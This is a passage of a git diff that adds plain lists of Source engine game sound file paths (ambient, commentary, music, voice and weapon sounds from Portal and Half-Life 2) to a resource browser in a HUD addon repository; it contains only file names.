+ambient/dinosaur16.wav +ambient/dinosaur17.wav +ambient/dinosaur18.wav +ambient/dinosaur19.wav +ambient/dinosaur2.wav +ambient/dinosaur20.wav +ambient/dinosaur21.wav +ambient/dinosaur22.wav +ambient/dinosaur23.wav +ambient/dinosaur24.wav +ambient/dinosaur25.wav +ambient/dinosaur26.wav +ambient/dinosaur3.wav +ambient/dinosaur4.wav +ambient/dinosaur5.wav +ambient/dinosaur6.wav +ambient/dinosaur7.wav +ambient/dinosaur8.wav +ambient/dinosaur9.wav +ambient/dinosaur_fizzle.wav +ambient/dinosaur_fizzle2.wav +ambient/dinosaur_fizzle3.wav +ambient/dinosaur_noise.wav +ambient/alarms/portal_elevator_chime.wav +ambient/machines/beam_platform_loop1.wav +ambient/machines/body_drag_01.wav +ambient/machines/fan4.wav +ambient/machines/fluorescent_hum_1.wav +ambient/machines/fluorescent_hum_2.wav +ambient/machines/p1_drag_intro_01.wav +ambient/machines/portalgun_rotate1.wav +ambient/machines/portalgun_rotate_loop1.wav +ambient/machines/tick1.wav +ambient/machines/ticktock1.wav +ambient/machines/usetoilet_thank.wav +ambient/music/looping_radio_mix.wav +ambient/wind/tube_suck.wav +commentary/prtl-comment000.wav +commentary/prtl-comment001.wav +commentary/prtl-comment002.wav +commentary/prtl-comment004.wav +commentary/prtl-comment005.wav +commentary/prtl-comment006.wav +commentary/prtl-comment007.wav +commentary/prtl-comment008.wav +commentary/prtl-comment009.wav +commentary/prtl-comment010.wav +commentary/prtl-comment012.wav +commentary/prtl-comment013.wav +commentary/prtl-comment014.wav +commentary/prtl-comment015.wav +commentary/prtl-comment016.wav +commentary/prtl-comment017.wav +commentary/prtl-comment018.wav +commentary/prtl-comment019.wav +commentary/prtl-comment020.wav +commentary/prtl-comment021.wav +commentary/prtl-comment022.wav +commentary/prtl-comment023.wav +commentary/prtl-comment024.wav +commentary/prtl-comment026.wav +commentary/prtl-comment027.wav +commentary/prtl-comment029.wav +commentary/prtl-comment032.wav +commentary/prtl-comment035.wav +commentary/prtl-comment036.wav +commentary/prtl-comment038.wav +commentary/prtl-comment040.wav +commentary/prtl-comment041.wav +commentary/prtl-comment043.wav +commentary/prtl-comment044.wav +commentary/prtl-comment048.wav +commentary/prtl-comment051.wav +commentary/prtl-comment053.wav +commentary/prtl-comment054.wav +commentary/prtl-comment056.wav +commentary/prtl-comment057.wav +commentary/prtl-comment058.wav +commentary/prtl-comment059.wav +commentary/prtl-comment060.wav +commentary/prtl-comment061.wav +commentary/prtl-comment063.wav +commentary/prtl-comment066.wav +commentary/prtl-comment068.wav +commentary/prtl-comment069.wav +commentary/prtl-comment070.wav +commentary/prtl-comment071.wav +commentary/prtl-comment072.wav +commentary/prtl-comment074.wav +commentary/prtl-comment076.wav +commentary/prtl-comment077.wav +commentary/prtl-comment080.wav +commentary/prtl-comment083.wav +commentary/prtl-comment084.wav +commentary/prtl-comment094.wav +commentary/prtl-comment095.wav +commentary/prtl-comment096.wav +commentary/prtl-comment097.wav +commentary/prtl-comment098.wav +commentary/prtl-comment101.wav +commentary/prtl-comment102.wav +commentary/prtl-comment103.wav +commentary/prtl-comment104.wav +commentary/prtl-comment105.wav +commentary/prtl-comment106.wav +commentary/prtl-comment107.wav +music/portal_4000_degrees_kelvin.mp3 +music/portal_android_hell.mp3 +music/portal_no_cake_for_you.mp3 +music/portal_party_escort.mp3 +music/portal_procedural_jiggle_bone.mp3 +music/portal_self_esteem_fund.mp3 +music/portal_still_alive.mp3 +music/portal_stop_what_you_are_doing.mp3 +music/portal_subject_name_here.mp3 +music/portal_taste_of_blood.mp3 +music/portal_youre_not_a_good_person.mp3 +music/portal_you_cant_escape_you_know.mp3 +npc/PartyEscort.wav +player/fling_whoosh.wav +player/futureshoes1.wav +player/futureshoes2.wav +player/portal_enter1.wav +player/portal_enter2.wav +player/portal_exit1.wav +player/portal_exit2.wav +vo/aperture_ai/ding_off.wav +vo/aperture_ai/ding_on.wav +vo/aperture_ai/escape_02_ballhitpain-02.wav +vo/aperture_ai/escape_02_sphere_anger-00.wav +vo/aperture_ai/escape_02_sphere_anger-01.wav +vo/aperture_ai/escape_02_sphere_anger-02.wav +vo/aperture_ai/escape_02_sphere_anger-03.wav +vo/aperture_ai/escape_02_sphere_anger-04.wav +vo/aperture_ai/escape_02_sphere_anger-05.wav +vo/aperture_ai/escape_02_sphere_anger-06.wav +vo/aperture_ai/escape_02_sphere_anger-07.wav +vo/aperture_ai/escape_02_sphere_anger-08.wav +vo/aperture_ai/escape_02_sphere_anger-09.wav +vo/aperture_ai/escape_02_sphere_anger-10.wav +vo/aperture_ai/escape_02_sphere_anger-11.wav +vo/aperture_ai/escape_02_sphere_anger-12.wav +vo/aperture_ai/escape_02_sphere_anger-13.wav +vo/aperture_ai/escape_02_sphere_anger-14.wav +vo/aperture_ai/escape_02_sphere_anger-15.wav +vo/aperture_ai/escape_02_sphere_anger-16.wav +vo/aperture_ai/escape_02_sphere_anger-17.wav +vo/aperture_ai/escape_02_sphere_anger-18.wav +vo/aperture_ai/escape_02_sphere_anger-19.wav +vo/aperture_ai/escape_02_sphere_anger-20.wav +vo/aperture_ai/escape_02_sphere_anger-21.wav +vo/aperture_ai/escape_02_sphere_anger-near_fire01.wav +vo/aperture_ai/escape_02_sphere_anger-near_fire02.wav +vo/aperture_ai/escape_02_sphere_Death_Scream.wav +vo/aperture_ai/file_deleted.wav +vo/escape/portal_escape_seg01-1.wav +vo/escape/portal_escape_seg01-2.wav +vo/escape/portal_escape_seg01-3.wav +vo/escape/portal_escape_seg01-4.wav +vo/escape/portal_escape_seg01-5.wav +vo/escape/portal_escape_seg01-6.wav +vo/escape/portal_escape_seg02-1.wav +vo/escape/portal_escape_seg02-2.wav +vo/escape/portal_escape_seg02-3.wav +vo/escape/portal_escape_seg02-4.wav +vo/escape/portal_escape_seg03-1.wav +vo/escape/portal_escape_seg03-2.wav +vo/escape/portal_escape_seg03-3.wav +vo/escape/portal_escape_seg03-4.wav +vo/escape/portal_escape_seg03-5.wav +vo/escape/portal_escape_seg03-6.wav +weapons/alyx_gun/alyx_gun_fire3.wav +weapons/alyx_gun/alyx_gun_fire4.wav +weapons/alyx_gun/alyx_gun_fire5.wav +weapons/alyx_gun/alyx_gun_fire6.wav +weapons/alyx_gun/alyx_shotgun_cock1.wav +weapons/physcannon/superphys_chargeup.wav +weapons/portalgun/portalgun_powerup1.wav +weapons/portalgun/portalgun_shoot_blue1.wav +weapons/portalgun/portalgun_shoot_red1.wav +weapons/portalgun/portal_ambient_loop1.wav +weapons/portalgun/portal_close1.wav +weapons/portalgun/portal_close2.wav +weapons/portalgun/portal_fizzle2.wav +weapons/portalgun/portal_invalid_surface3.wav +weapons/portalgun/portal_open1.wav +weapons/portalgun/portal_open2.wav +weapons/portalgun/portal_open3.wav +weapons/rocket/rocket_fire1.wav +weapons/rocket/rocket_fly_loop1.wav +weapons/rocket/rocket_locked_beep1.wav +weapons/rocket/rocket_locking_beep1.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt new file mode 100644 index 0000000..322490d --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt @@ -0,0 +1,5514 @@ +ambient/_period.wav +ambient/alarms/alarm1.wav +ambient/alarms/alarm_citizen_loop1.wav +ambient/alarms/apc_alarm_loop1.wav +ambient/alarms/apc_alarm_pass1.wav +ambient/alarms/citadel_alert_loop2.wav +ambient/alarms/city_firebell_loop1.wav +ambient/alarms/city_siren_loop2.wav +ambient/alarms/combine_bank_alarm_loop1.wav +ambient/alarms/combine_bank_alarm_loop4.wav +ambient/alarms/klaxon1.wav +ambient/alarms/manhack_alert_pass1.wav +ambient/alarms/razortrain_horn1.wav +ambient/alarms/scanner_alert_pass1.wav +ambient/alarms/siren.wav +ambient/alarms/train_crossing_bell_loop1.wav +ambient/alarms/train_horn2.wav +ambient/alarms/train_horn_distant1.wav +ambient/alarms/warningbell1.wav +ambient/atmosphere/ambience5.wav +ambient/atmosphere/ambience6.wav +ambient/atmosphere/ambience_base.wav +ambient/atmosphere/captain_room.wav +ambient/atmosphere/cargo_hold1.wav +ambient/atmosphere/cargo_hold2.wav +ambient/atmosphere/cave_hit1.wav +ambient/atmosphere/cave_hit2.wav +ambient/atmosphere/cave_hit3.wav +ambient/atmosphere/cave_hit4.wav +ambient/atmosphere/cave_hit5.wav +ambient/atmosphere/cave_hit6.wav +ambient/atmosphere/cave_outdoor1.wav +ambient/atmosphere/city_beacon_loop1.wav +ambient/atmosphere/city_rumble_loop1.wav +ambient/atmosphere/city_skybeam1.wav +ambient/atmosphere/city_skypass1.wav +ambient/atmosphere/city_tone.wav +ambient/atmosphere/city_truckpass1.wav +ambient/atmosphere/corridor.wav +ambient/atmosphere/corridor2.wav +ambient/atmosphere/Drone1LP.wav +ambient/atmosphere/Drone2LP.wav +ambient/atmosphere/Drone4LP.wav +ambient/atmosphere/elev_shaft1.wav +ambient/atmosphere/engine_room.wav +ambient/atmosphere/hole_amb3.wav +ambient/atmosphere/hole_hit1.wav +ambient/atmosphere/hole_hit2.wav +ambient/atmosphere/hole_hit3.wav +ambient/atmosphere/hole_hit4.wav +ambient/atmosphere/hole_hit5.wav +ambient/atmosphere/indoor1.wav +ambient/atmosphere/indoor2.wav +ambient/atmosphere/laundry_amb.wav +ambient/atmosphere/metallic1.wav +ambient/atmosphere/metallic2.wav +ambient/atmosphere/noise2.wav +ambient/atmosphere/outdoor2.wav +ambient/atmosphere/pipe1.wav +ambient/atmosphere/plaza_amb.wav +ambient/atmosphere/quiet_cellblock_amb.wav +ambient/atmosphere/sewer_air1.wav +ambient/atmosphere/station_ambience_loop2.wav +ambient/atmosphere/station_ambience_loop4.wav +ambient/atmosphere/station_ambience_stereo_loop1.wav +ambient/atmosphere/terrain_rumble1.wav +ambient/atmosphere/thunder1.wav +ambient/atmosphere/thunder2.wav +ambient/atmosphere/thunder3.wav +ambient/atmosphere/thunder4.wav +ambient/atmosphere/tone_alley.wav +ambient/atmosphere/tone_quiet.wav +ambient/atmosphere/town_ambience.wav +ambient/atmosphere/trainstation_ambient_loop1.wav +ambient/atmosphere/tunnel1.wav +ambient/atmosphere/undercity_loop1.wav +ambient/atmosphere/underground.wav +ambient/atmosphere/underground_hall_loop1.wav +ambient/creatures/flies1.wav +ambient/creatures/flies2.wav +ambient/creatures/flies3.wav +ambient/creatures/flies4.wav +ambient/creatures/flies5.wav +ambient/creatures/leech_bites_loop1.wav +ambient/creatures/leech_water_churn_loop2.wav +ambient/creatures/pigeon_idle1.wav +ambient/creatures/pigeon_idle2.wav +ambient/creatures/pigeon_idle3.wav +ambient/creatures/pigeon_idle4.wav +ambient/creatures/rats1.wav +ambient/creatures/rats2.wav +ambient/creatures/rats3.wav +ambient/creatures/rats4.wav +ambient/creatures/seagull_idle1.wav +ambient/creatures/seagull_idle2.wav +ambient/creatures/seagull_idle3.wav +ambient/creatures/seagull_pain1.wav +ambient/creatures/seagull_pain2.wav +ambient/creatures/seagull_pain3.wav +ambient/creatures/teddy.wav +ambient/creatures/town_child_scream1.wav +ambient/creatures/town_moan1.wav +ambient/creatures/town_muffled_cry1.wav +ambient/creatures/town_scared_breathing1.wav +ambient/creatures/town_scared_breathing2.wav +ambient/creatures/town_scared_sob1.wav +ambient/creatures/town_scared_sob2.wav +ambient/creatures/town_zombie_call1.wav +ambient/energy/electric_loop.wav +ambient/energy/force_field_loop1.wav +ambient/energy/spark1.wav +ambient/energy/spark2.wav +ambient/energy/spark3.wav +ambient/energy/spark4.wav +ambient/energy/spark5.wav +ambient/energy/spark6.wav +ambient/energy/weld1.wav +ambient/energy/weld2.wav +ambient/energy/whiteflash.wav +ambient/energy/zap1.wav +ambient/energy/zap2.wav +ambient/energy/zap3.wav +ambient/energy/zap5.wav +ambient/energy/zap6.wav +ambient/energy/zap7.wav +ambient/energy/zap8.wav +ambient/energy/zap9.wav +ambient/explosions/battle_loop1.wav +ambient/explosions/battle_loop2.wav +ambient/explosions/citadel_end_explosion1.wav +ambient/explosions/citadel_end_explosion2.wav +ambient/explosions/exp1.wav +ambient/explosions/exp2.wav +ambient/explosions/exp3.wav +ambient/explosions/exp4.wav +ambient/explosions/explode_1.wav +ambient/explosions/explode_2.wav +ambient/explosions/explode_3.wav +ambient/explosions/explode_4.wav +ambient/explosions/explode_5.wav +ambient/explosions/explode_6.wav +ambient/explosions/explode_7.wav +ambient/explosions/explode_8.wav +ambient/explosions/explode_9.wav +ambient/fire/firebig.wav +ambient/fire/fire_big_loop1.wav +ambient/fire/fire_med_loop1.wav +ambient/fire/fire_small1.wav +ambient/fire/fire_small_loop1.wav +ambient/fire/fire_small_loop2.wav +ambient/fire/gascan_ignite1.wav +ambient/fire/ignite.wav +ambient/fire/mtov_flame2.wav +ambient/gas/cannister_loop.wav +ambient/gas/steam2.wav +ambient/gas/steam_loop1.wav +ambient/levels/canals/critter1.wav +ambient/levels/canals/critter2.wav +ambient/levels/canals/critter3.wav +ambient/levels/canals/critter4.wav +ambient/levels/canals/critter5.wav +ambient/levels/canals/critter6.wav +ambient/levels/canals/critter7.wav +ambient/levels/canals/critter8.wav +ambient/levels/canals/dam_water_loop2.wav +ambient/levels/canals/drip1.wav +ambient/levels/canals/drip2.wav +ambient/levels/canals/drip3.wav +ambient/levels/canals/drip4.wav +ambient/levels/canals/generator_ambience_loop1.wav +ambient/levels/canals/headcrab_canister_ambient1.wav +ambient/levels/canals/headcrab_canister_ambient2.wav +ambient/levels/canals/headcrab_canister_ambient3.wav +ambient/levels/canals/headcrab_canister_ambient4.wav +ambient/levels/canals/headcrab_canister_ambient5.wav +ambient/levels/canals/headcrab_canister_ambient6.wav +ambient/levels/canals/headcrab_canister_open1.wav +ambient/levels/canals/manhack_machine_loop1.wav +ambient/levels/canals/shore1.wav +ambient/levels/canals/shore2.wav +ambient/levels/canals/shore3.wav +ambient/levels/canals/shore4.wav +ambient/levels/canals/swamp_bird1.wav +ambient/levels/canals/swamp_bird2.wav +ambient/levels/canals/swamp_bird3.wav +ambient/levels/canals/swamp_bird4.wav +ambient/levels/canals/swamp_bird5.wav +ambient/levels/canals/swamp_bird6.wav +ambient/levels/canals/swamp_frogs_loop2.wav +ambient/levels/canals/swamp_stereo_frogs_loop1.wav +ambient/levels/canals/toxic_slime_gurgle2.wav +ambient/levels/canals/toxic_slime_gurgle3.wav +ambient/levels/canals/toxic_slime_gurgle4.wav +ambient/levels/canals/toxic_slime_gurgle5.wav +ambient/levels/canals/toxic_slime_gurgle6.wav +ambient/levels/canals/toxic_slime_gurgle7.wav +ambient/levels/canals/toxic_slime_gurgle8.wav +ambient/levels/canals/toxic_slime_loop1.wav +ambient/levels/canals/toxic_slime_sizzle1.wav +ambient/levels/canals/toxic_slime_sizzle2.wav +ambient/levels/canals/toxic_slime_sizzle3.wav +ambient/levels/canals/toxic_slime_sizzle4.wav +ambient/levels/canals/tunnel_wind_loop1.wav +ambient/levels/canals/waterleak_loop1.wav +ambient/levels/canals/water_rivulet_loop2.wav +ambient/levels/canals/windchime2.wav +ambient/levels/canals/windchime4.wav +ambient/levels/canals/windchime5.wav +ambient/levels/canals/windchine1.wav +ambient/levels/canals/windmill_wind_loop1.wav +ambient/levels/citadel/citadel_ambient_scream_loop1.wav +ambient/levels/citadel/citadel_ambient_voices1.wav +ambient/levels/citadel/citadel_drone_loop1.wav +ambient/levels/citadel/citadel_drone_loop2.wav +ambient/levels/citadel/citadel_drone_loop3.wav +ambient/levels/citadel/citadel_drone_loop4.wav +ambient/levels/citadel/citadel_drone_loop5.wav +ambient/levels/citadel/citadel_drone_loop6.wav +ambient/levels/citadel/citadel_flyer1.wav +ambient/levels/citadel/citadel_hit1_adpcm.wav +ambient/levels/citadel/citadel_hub_ambience1.mp3 +ambient/levels/citadel/Drone1LP.wav +ambient/levels/citadel/extract_loop1.wav +ambient/levels/citadel/field_loop1.wav +ambient/levels/citadel/field_loop2.wav +ambient/levels/citadel/field_loop3.wav +ambient/levels/citadel/many_pods_loop1_adpcm.wav +ambient/levels/citadel/pod_close1.wav +ambient/levels/citadel/pod_open1.wav +ambient/levels/citadel/portal_beam_loop1.wav +ambient/levels/citadel/portal_beam_shoot1.wav +ambient/levels/citadel/portal_beam_shoot2.wav +ambient/levels/citadel/portal_beam_shoot3.wav +ambient/levels/citadel/portal_beam_shoot4.wav +ambient/levels/citadel/portal_beam_shoot5.wav +ambient/levels/citadel/portal_beam_shoot6.wav +ambient/levels/citadel/portal_open1_adpcm.wav +ambient/levels/citadel/strange_talk1.wav +ambient/levels/citadel/strange_talk10.wav +ambient/levels/citadel/strange_talk11.wav +ambient/levels/citadel/strange_talk3.wav +ambient/levels/citadel/strange_talk4.wav +ambient/levels/citadel/strange_talk5.wav +ambient/levels/citadel/strange_talk6.wav +ambient/levels/citadel/strange_talk7.wav +ambient/levels/citadel/strange_talk8.wav +ambient/levels/citadel/strange_talk9.wav +ambient/levels/citadel/teleport_windup_loop1.wav +ambient/levels/citadel/weaponstrip1_adpcm.wav +ambient/levels/citadel/weapon_disintegrate1.wav +ambient/levels/citadel/weapon_disintegrate2.wav +ambient/levels/citadel/weapon_disintegrate3.wav +ambient/levels/citadel/weapon_disintegrate4.wav +ambient/levels/citadel/zapper_ambient_loop1.wav +ambient/levels/citadel/zapper_loop1.wav +ambient/levels/citadel/zapper_loop2.wav +ambient/levels/citadel/zapper_warmup1.wav +ambient/levels/citadel/zapper_warmup4.wav +ambient/levels/coast/antlion_hill_ambient1.wav +ambient/levels/coast/antlion_hill_ambient2.wav +ambient/levels/coast/antlion_hill_ambient4.wav +ambient/levels/coast/coastbird1.wav +ambient/levels/coast/coastbird2.wav +ambient/levels/coast/coastbird3.wav +ambient/levels/coast/coastbird4.wav +ambient/levels/coast/coastbird5.wav +ambient/levels/coast/coastbird6.wav +ambient/levels/coast/coastbird7.wav +ambient/levels/coast/seagulls_ambient1.wav +ambient/levels/coast/seagulls_ambient2.wav +ambient/levels/coast/seagulls_ambient3.wav +ambient/levels/coast/seagulls_ambient4.wav +ambient/levels/coast/seagulls_ambient5.wav +ambient/levels/labs/coinslot1.wav +ambient/levels/labs/electric_explosion1.wav +ambient/levels/labs/electric_explosion2.wav +ambient/levels/labs/electric_explosion3.wav +ambient/levels/labs/electric_explosion4.wav +ambient/levels/labs/electric_explosion5.wav +ambient/levels/labs/equipment_beep_loop1.wav +ambient/levels/labs/equipment_printer_loop1.wav +ambient/levels/labs/machine_moving_loop3.wav +ambient/levels/labs/machine_moving_loop4.wav +ambient/levels/labs/machine_ring_resonance_loop1.wav +ambient/levels/labs/machine_stop1.wav +ambient/levels/labs/teleport_active_loop1.wav +ambient/levels/labs/teleport_alarm_loop1.wav +ambient/levels/labs/teleport_malfunctioning.wav +ambient/levels/labs/teleport_mechanism_windup1.wav +ambient/levels/labs/teleport_mechanism_windup2.wav +ambient/levels/labs/teleport_mechanism_windup3.wav +ambient/levels/labs/teleport_mechanism_windup4.wav +ambient/levels/labs/teleport_mechanism_windup5.wav +ambient/levels/labs/teleport_postblast_thunder1.wav +ambient/levels/labs/teleport_postblast_winddown1.wav +ambient/levels/labs/teleport_preblast_suckin1.wav +ambient/levels/labs/teleport_rings_loop2.wav +ambient/levels/labs/teleport_weird_voices1.wav +ambient/levels/labs/teleport_weird_voices2.wav +ambient/levels/labs/teleport_winddown1.wav +ambient/levels/prison/inside_battle1.wav +ambient/levels/prison/inside_battle2.wav +ambient/levels/prison/inside_battle3.wav +ambient/levels/prison/inside_battle4.wav +ambient/levels/prison/inside_battle5.wav +ambient/levels/prison/inside_battle6.wav +ambient/levels/prison/inside_battle7.wav +ambient/levels/prison/inside_battle8.wav +ambient/levels/prison/inside_battle9.wav +ambient/levels/prison/inside_battle_antlion1.wav +ambient/levels/prison/inside_battle_antlion2.wav +ambient/levels/prison/inside_battle_antlion3.wav +ambient/levels/prison/inside_battle_antlion4.wav +ambient/levels/prison/inside_battle_antlion5.wav +ambient/levels/prison/inside_battle_antlion6.wav +ambient/levels/prison/inside_battle_antlion7.wav +ambient/levels/prison/inside_battle_antlion8.wav +ambient/levels/prison/inside_battle_soldier1.wav +ambient/levels/prison/inside_battle_soldier2.wav +ambient/levels/prison/inside_battle_soldier3.wav +ambient/levels/prison/inside_battle_zombie1.wav +ambient/levels/prison/inside_battle_zombie2.wav +ambient/levels/prison/inside_battle_zombie3.wav +ambient/levels/prison/radio_random1.wav +ambient/levels/prison/radio_random10.wav +ambient/levels/prison/radio_random11.wav +ambient/levels/prison/radio_random12.wav +ambient/levels/prison/radio_random13.wav +ambient/levels/prison/radio_random14.wav +ambient/levels/prison/radio_random15.wav +ambient/levels/prison/radio_random2.wav +ambient/levels/prison/radio_random3.wav +ambient/levels/prison/radio_random4.wav +ambient/levels/prison/radio_random5.wav +ambient/levels/prison/radio_random6.wav +ambient/levels/prison/radio_random7.wav +ambient/levels/prison/radio_random8.wav +ambient/levels/prison/radio_random9.wav +ambient/levels/streetwar/apc_distant1.wav +ambient/levels/streetwar/apc_distant2.wav +ambient/levels/streetwar/apc_distant3.wav +ambient/levels/streetwar/building_rubble1.wav +ambient/levels/streetwar/building_rubble2.wav +ambient/levels/streetwar/building_rubble3.wav +ambient/levels/streetwar/building_rubble4.wav +ambient/levels/streetwar/building_rubble5.wav +ambient/levels/streetwar/city_battle1.wav +ambient/levels/streetwar/city_battle10.wav +ambient/levels/streetwar/city_battle11.wav +ambient/levels/streetwar/city_battle12.wav +ambient/levels/streetwar/city_battle13.wav +ambient/levels/streetwar/city_battle14.wav +ambient/levels/streetwar/city_battle15.wav +ambient/levels/streetwar/city_battle16.wav +ambient/levels/streetwar/city_battle17.wav +ambient/levels/streetwar/city_battle18.wav +ambient/levels/streetwar/city_battle19.wav +ambient/levels/streetwar/city_battle2.wav +ambient/levels/streetwar/city_battle3.wav +ambient/levels/streetwar/city_battle4.wav +ambient/levels/streetwar/city_battle5.wav +ambient/levels/streetwar/city_battle6.wav +ambient/levels/streetwar/city_battle7.wav +ambient/levels/streetwar/city_battle8.wav +ambient/levels/streetwar/city_battle9.wav +ambient/levels/streetwar/city_chant1.wav +ambient/levels/streetwar/city_riot1.wav +ambient/levels/streetwar/city_riot2.wav +ambient/levels/streetwar/city_scream3.wav +ambient/levels/streetwar/gunship_distant1.wav +ambient/levels/streetwar/gunship_distant2.wav +ambient/levels/streetwar/heli_distant1.wav +ambient/levels/streetwar/marching_distant1.wav +ambient/levels/streetwar/marching_distant2.wav +ambient/levels/streetwar/strider_distant1.wav +ambient/levels/streetwar/strider_distant2.wav +ambient/levels/streetwar/strider_distant3.wav +ambient/levels/streetwar/strider_distant_walk1.wav +ambient/machines/aircraft_distant_flyby1.wav +ambient/machines/aircraft_distant_flyby3.wav +ambient/machines/catapult_throw.wav +ambient/machines/city_ventpump_loop1.wav +ambient/machines/combine_shield_loop3.wav +ambient/machines/combine_shield_touch_loop1.wav +ambient/machines/combine_terminal_idle1.wav +ambient/machines/combine_terminal_idle2.wav +ambient/machines/combine_terminal_idle3.wav +ambient/machines/combine_terminal_idle4.wav +ambient/machines/combine_terminal_loop1.wav +ambient/machines/courtyard_mach_loop.wav +ambient/machines/diesel_engine_idle1.wav +ambient/machines/electric_machine.wav +ambient/machines/engine1.wav +ambient/machines/engine4.wav +ambient/machines/floodgate_move_short1.wav +ambient/machines/floodgate_stop1.wav +ambient/machines/heli_pass1.wav +ambient/machines/heli_pass2.wav +ambient/machines/heli_pass_distant1.wav +ambient/machines/heli_pass_quick1.wav +ambient/machines/heli_pass_quick2.wav +ambient/machines/keyboard1_clicks.wav +ambient/machines/keyboard2_clicks.wav +ambient/machines/keyboard3_clicks.wav +ambient/machines/keyboard4_clicks.wav +ambient/machines/keyboard5_clicks.wav +ambient/machines/keyboard6_clicks.wav +ambient/machines/keyboard7_clicks_enter.wav +ambient/machines/keyboard_fast1_1second.wav +ambient/machines/keyboard_fast2_1second.wav +ambient/machines/keyboard_fast3_1second.wav +ambient/machines/keyboard_slow_1second.wav +ambient/machines/lab_loop1.wav +ambient/machines/laundry_machine1_amb.wav +ambient/machines/machine1_hit1.wav +ambient/machines/machine1_hit2.wav +ambient/machines/machine3.wav +ambient/machines/machine6.wav +ambient/machines/machine_whine1.wav +ambient/machines/razor_train_wheels_loop1.wav +ambient/machines/razor_train_wheels_loop2.wav +ambient/machines/slicer1.wav +ambient/machines/slicer2.wav +ambient/machines/slicer3.wav +ambient/machines/slicer4.wav +ambient/machines/spindown.wav +ambient/machines/spinup.wav +ambient/machines/spin_loop.wav +ambient/machines/sputter1.wav +ambient/machines/station_train_squeel.wav +ambient/machines/teleport1.wav +ambient/machines/teleport3.wav +ambient/machines/teleport4.wav +ambient/machines/thumper_amb.wav +ambient/machines/thumper_dust.wav +ambient/machines/thumper_hit.wav +ambient/machines/thumper_shutdown1.wav +ambient/machines/thumper_startup1.wav +ambient/machines/thumper_top.wav +ambient/machines/train_freight_loop1.wav +ambient/machines/train_freight_loop2.wav +ambient/machines/train_freight_loop3.wav +ambient/machines/train_idle.wav +ambient/machines/train_rumble.wav +ambient/machines/train_wheels_loop1.wav +ambient/machines/train_wheels_overhead_loop1.wav +ambient/machines/transformer_loop.wav +ambient/machines/truck_pass_distant1.wav +ambient/machines/truck_pass_distant2.wav +ambient/machines/truck_pass_distant3.wav +ambient/machines/truck_pass_overhead1.wav +ambient/machines/usetoilet_flush1.wav +ambient/machines/wall_ambient1.wav +ambient/machines/wall_ambient_loop1.wav +ambient/machines/wall_crash1.wav +ambient/machines/wall_loop1.wav +ambient/machines/wall_move1.wav +ambient/machines/wall_move2.wav +ambient/machines/wall_move3.wav +ambient/machines/wall_move4.wav +ambient/machines/wall_move5.wav +ambient/materials/bump1.wav +ambient/materials/cartrap_explode_impact1.wav +ambient/materials/cartrap_explode_impact2.wav +ambient/materials/cartrap_rope1.wav +ambient/materials/cartrap_rope2.wav +ambient/materials/cartrap_rope3.wav +ambient/materials/clang1.wav +ambient/materials/creak5.wav +ambient/materials/creaking.wav +ambient/materials/cupdrop.wav +ambient/materials/dinnerplates1.wav +ambient/materials/dinnerplates2.wav +ambient/materials/dinnerplates3.wav +ambient/materials/dinnerplates4.wav +ambient/materials/dinnerplates5.wav +ambient/materials/door_hit1.wav +ambient/materials/flush1.wav +ambient/materials/flush2.wav +ambient/materials/footsteps_glass1.wav +ambient/materials/footsteps_glass2.wav +ambient/materials/footsteps_stairs1.wav +ambient/materials/footsteps_stairs2.wav +ambient/materials/footsteps_wood1.wav +ambient/materials/footsteps_wood2.wav +ambient/materials/icegrind1.wav +ambient/materials/metal4.wav +ambient/materials/metal5.wav +ambient/materials/metal9.wav +ambient/materials/metal_big_impact_scrape1.wav +ambient/materials/metal_groan.wav +ambient/materials/metal_rattle.wav +ambient/materials/metal_rattle1.wav +ambient/materials/metal_rattle2.wav +ambient/materials/metal_rattle3.wav +ambient/materials/metal_rattle4.wav +ambient/materials/metal_stress1.wav +ambient/materials/metal_stress2.wav +ambient/materials/metal_stress3.wav +ambient/materials/metal_stress4.wav +ambient/materials/metal_stress5.wav +ambient/materials/platedrop1.wav +ambient/materials/platedrop2.wav +ambient/materials/platedrop3.wav +ambient/materials/rock1.wav +ambient/materials/rock2.wav +ambient/materials/rock3.wav +ambient/materials/rock4.wav +ambient/materials/rock5.wav +ambient/materials/roust_crash1.wav +ambient/materials/roust_crash2.wav +ambient/materials/rustypipes1.wav +ambient/materials/rustypipes2.wav +ambient/materials/rustypipes3.wav +ambient/materials/shipgroan1.wav +ambient/materials/shipgroan2.wav +ambient/materials/shipgroan3.wav +ambient/materials/shipgroan4.wav +ambient/materials/shuffle1.wav +ambient/materials/shutter6.wav +ambient/materials/shutter7.wav +ambient/materials/shutter8.wav +ambient/materials/smallwire_pluck3.wav +ambient/materials/squeeker2.wav +ambient/materials/squeekyfloor1.wav +ambient/materials/squeekyfloor2.wav +ambient/materials/vent_scurry_medium.wav +ambient/materials/wood_creak1.wav +ambient/materials/wood_creak2.wav +ambient/materials/wood_creak3.wav +ambient/materials/wood_creak4.wav +ambient/materials/wood_creak5.wav +ambient/materials/wood_creak6.wav +ambient/voices/appartments_crowd_loop1.wav +ambient/voices/citizen_beaten1.wav +ambient/voices/citizen_beaten2.wav +ambient/voices/citizen_beaten3.wav +ambient/voices/citizen_beaten4.wav +ambient/voices/citizen_beaten5.wav +ambient/voices/citizen_punches1.wav +ambient/voices/citizen_punches2.wav +ambient/voices/citizen_punches3.wav +ambient/voices/citizen_punches4.wav +ambient/voices/cough1.wav +ambient/voices/cough2.wav +ambient/voices/cough3.wav +ambient/voices/cough4.wav +ambient/voices/crying_loop1.wav +ambient/voices/f_scream1.wav +ambient/voices/m_scream1.wav +ambient/voices/playground_memory.wav +ambient/voices/squeal1.wav +ambient/water/corridor_water.wav +ambient/water/distant_drip1.wav +ambient/water/distant_drip2.wav +ambient/water/distant_drip3.wav +ambient/water/distant_drip4.wav +ambient/water/distant_wave1.wav +ambient/water/distant_wave2.wav +ambient/water/distant_wave3.wav +ambient/water/drip1.wav +ambient/water/drip2.wav +ambient/water/drip3.wav +ambient/water/drip4.wav +ambient/water/drip_loop1.wav +ambient/water/lake_water.wav +ambient/water/leak_1.wav +ambient/water/rain_drip1.wav +ambient/water/rain_drip2.wav +ambient/water/rain_drip3.wav +ambient/water/rain_drip4.wav +ambient/water/underwater.wav +ambient/water/water_flow_loop1.wav +ambient/water/water_in_boat1.wav +ambient/water/water_pump_drainin1.wav +ambient/water/water_run1.wav +ambient/water/water_splash1.wav +ambient/water/water_splash2.wav +ambient/water/water_splash3.wav 